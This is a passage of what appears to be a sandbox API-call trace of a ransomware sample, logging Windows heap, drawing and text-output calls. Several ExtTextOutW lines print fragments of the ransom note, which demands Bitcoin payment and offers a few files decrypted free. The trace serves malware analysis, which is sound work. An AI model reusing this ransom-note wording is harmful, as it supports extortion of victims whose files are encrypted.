[0111.172] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.172] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.172] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.172] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.172] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.172] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.172] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.172] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.173] LsSetDoc () returned 0x0
[0111.173] LsCreateLine () returned 0x0
[0111.173] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.174] LsDisplayLine () returned 0x0
[0111.174] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x18a002e
[0111.174] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.174] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.174] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.174] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.174] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2bc) returned 0x5006f0
[0111.174] _CIatan2 () returned 0x20
[0111.174] _CIatan2 () returned 0x20
[0111.174] ExtTextOutW (hdc=0x90101e7, x=12, y=19, options=0x4, lprect=0x1c8498, lpString="You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0xaf, lpDx=0x5006f0) returned 1
[0111.174] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.174] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.174] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.174] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.175] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.175] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.175] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.175] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.175] _CIatan2 () returned 0x20
[0111.175] _CIatan2 () returned 0x20
[0111.175] ExtTextOutW (hdc=0x90101e7, x=1131, y=19, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.175] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.175] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.175] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.175] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.175] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.175] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.175] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.175] _CIatan2 () returned 0x20
[0111.175] _CIatan2 () returned 0x20
[0111.175] ExtTextOutW (hdc=0x90101e7, x=1136, y=19, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.175] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.176] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.176] LsDestroyLine () returned 0x0
[0111.176] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.176] LsGetRubyLsimethods () returned 0x0
[0111.176] LsGetTatenakayokoLsimethods () returned 0x0
[0111.176] LsGetHihLsimethods () returned 0x0
[0111.176] LsGetWarichuLsimethods () returned 0x0
[0111.176] LsGetReverseLsimethods () returned 0x0
[0111.176] LsCreateContext () returned 0x0
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x509608
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4e1068
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x509c80
[0111.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013c8
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x493620
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ee8
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013f0
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501418
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501440
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501468
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x4e3f38
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd970
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd980
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd990
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd9a0
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x503788
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0111.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4954a0
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x500948
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4340
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4410
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497fd8
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x4e45a8
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4748
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4818
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0111.178] LsSetModWidthPairs () returned 0x0
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x4e49b0
[0111.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.178] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.178] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.178] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.179] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.179] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503f30, Size=0x60) returned 0x49f1f8
[0111.179] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.179] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.179] IsRectEmpty (lprc=0x49f208) returned 0
[0111.179] IsRectEmpty (lprc=0x49f218) returned 0
[0111.179] IsRectEmpty (lprc=0x49f228) returned 0
[0111.179] IsRectEmpty (lprc=0x49f238) returned 0
[0111.179] IsRectEmpty (lprc=0x49f248) returned 0
[0111.179] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.179] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.179] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.179] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.179] GetStockObject (i=8) returned 0x1b00016
[0111.179] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.179] GetROP2 (hdc=0x90101e7) returned 13
[0111.179] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.180] Rectangle (hdc=0x90101e7, left=12, top=40, right=1296, bottom=151) returned 1
[0111.180] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.180] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.180] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.180] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.180] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xf04020f
[0111.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.180] SelectClipRgn (hdc=0x90101e7, hrgn=0xf04020f) returned 2
[0111.180] DeleteObject (ho=0xf04020f) returned 1
[0111.180] _CIsqrt () returned 0x3f1a027f
[0111.180] _CIsqrt () returned 0x3f1a027f
[0111.180] _CIatan2 () returned 0x20
[0111.180] _CIatan2 () returned 0x20
[0111.180] GetStockObject (i=8) returned 0x1b00016
[0111.180] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.180] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.180] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0111.180] UnrealizeObject (h=0x61001e2) returned 1
[0111.180] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-288, lppt=0x0 | out: lppt=0x0) returned 1
[0111.180] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.180] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.180] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.180] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.180] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.180] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0111.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.181] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.181] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.181] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.181] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.182] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.183] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49f1f8 | out: hHeap=0x450000) returned 1
[0111.184] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.184] LsSetDoc () returned 0x0
[0111.184] LsCreateLine () returned 0x0
[0111.185] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.185] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc540
[0111.185] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.185] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.185] LsdnFinishRegular () returned 0x0
[0111.185] LsDisplayLine () returned 0x0
[0111.185] LsDestroyLine () returned 0x0
[0111.185] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc540 | out: hHeap=0x450000) returned 1
[0111.185] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.185] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.186] LsSetDoc () returned 0x0
[0111.186] LsCreateLine () returned 0x0
[0111.186] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.186] LsQueryLineDup () returned 0x0
[0111.186] LsQueryLineCpPpoint () returned 0x0
[0111.186] LsDisplayLine () returned 0x0
[0111.186] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.186] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.186] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.186] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.186] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.186] _CIsqrt () returned 0x3f1a027f
[0111.186] _CIsqrt () returned 0x3f1a027f
[0111.186] _CIatan2 () returned 0x20
[0111.186] _CIatan2 () returned 0x20
[0111.186] ExtTextOutA (hdc=0x90101e7, x=46, y=99, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.186] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.186] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.186] LsDestroyLine () returned 0x0
[0111.187] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.187] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.187] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.187] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb310 | out: hHeap=0x450000) returned 1
[0111.187] LsSetDoc () returned 0x0
[0111.187] LsCreateLine () returned 0x0
[0111.187] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.188] LsDisplayLine () returned 0x0
[0111.188] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.188] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.188] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.188] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.188] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.188] _CIatan2 () returned 0x20
[0111.188] _CIatan2 () returned 0x20
[0111.188] ExtTextOutW (hdc=0x90101e7, x=62, y=99, options=0x4, lprect=0x1c8498, lpString="Before payment you can send us 1-3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x20, lpDx=0x1c84d0) returned 1
[0111.188] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.188] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.188] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.189] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.189] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.189] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.189] _CIatan2 () returned 0x20
[0111.189] _CIatan2 () returned 0x20
[0111.189] ExtTextOutW (hdc=0x90101e7, x=294, y=99, options=0x4, lprect=0x1c8498, lpString="-3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.189] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.189] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.189] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.189] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.189] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.189] _CIatan2 () returned 0x20
[0111.189] _CIatan2 () returned 0x20
[0111.189] ExtTextOutW (hdc=0x90101e7, x=299, y=99, options=0x4, lprect=0x1c8498, lpString="3 files for free decryption. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1c, lpDx=0x1c84d0) returned 1
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.189] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.189] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.189] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.189] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.189] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.189] _CIatan2 () returned 0x20
[0111.189] _CIatan2 () returned 0x20
[0111.189] ExtTextOutW (hdc=0x90101e7, x=467, y=99, options=0x4, lprect=0x1c8498, lpString=" n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.189] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.189] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.190] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.190] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.190] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.190] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.190] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.190] _CIatan2 () returned 0x20
[0111.190] _CIatan2 () returned 0x20
[0111.190] ExtTextOutW (hdc=0x90101e7, x=472, y=99, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.190] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.190] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.190] LsDestroyLine () returned 0x0
[0111.190] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.190] LsSetDoc () returned 0x0
[0111.190] LsCreateLine () returned 0x0
[0111.190] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.190] LsQueryLineDup () returned 0x0
[0111.190] LsQueryLineCpPpoint () returned 0x0
[0111.190] LsDisplayLine () returned 0x0
[0111.190] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.191] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.191] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.191] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.191] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.191] _CIsqrt () returned 0x3f1a027f
[0111.191] _CIsqrt () returned 0x3f1a027f
[0111.191] _CIatan2 () returned 0x20
[0111.191] _CIatan2 () returned 0x20
[0111.191] ExtTextOutA (hdc=0x90101e7, x=46, y=124, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.191] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.191] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.191] LsDestroyLine () returned 0x0
[0111.191] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.191] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.191] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb310 | out: hHeap=0x450000) returned 1
[0111.191] LsSetDoc () returned 0x0
[0111.191] LsCreateLine () returned 0x0
[0111.192] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.192] LsDisplayLine () returned 0x0
[0111.192] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.192] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.192] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.192] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.192] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.192] _CIatan2 () returned 0x20
[0111.192] _CIatan2 () returned 0x20
[0111.192] ExtTextOutW (hdc=0x90101e7, x=62, y=124, options=0x4, lprect=0x1c8498, lpString="Please note that files must NOT contain valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x3d, lpDx=0x1c84d0) returned 1
[0111.192] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
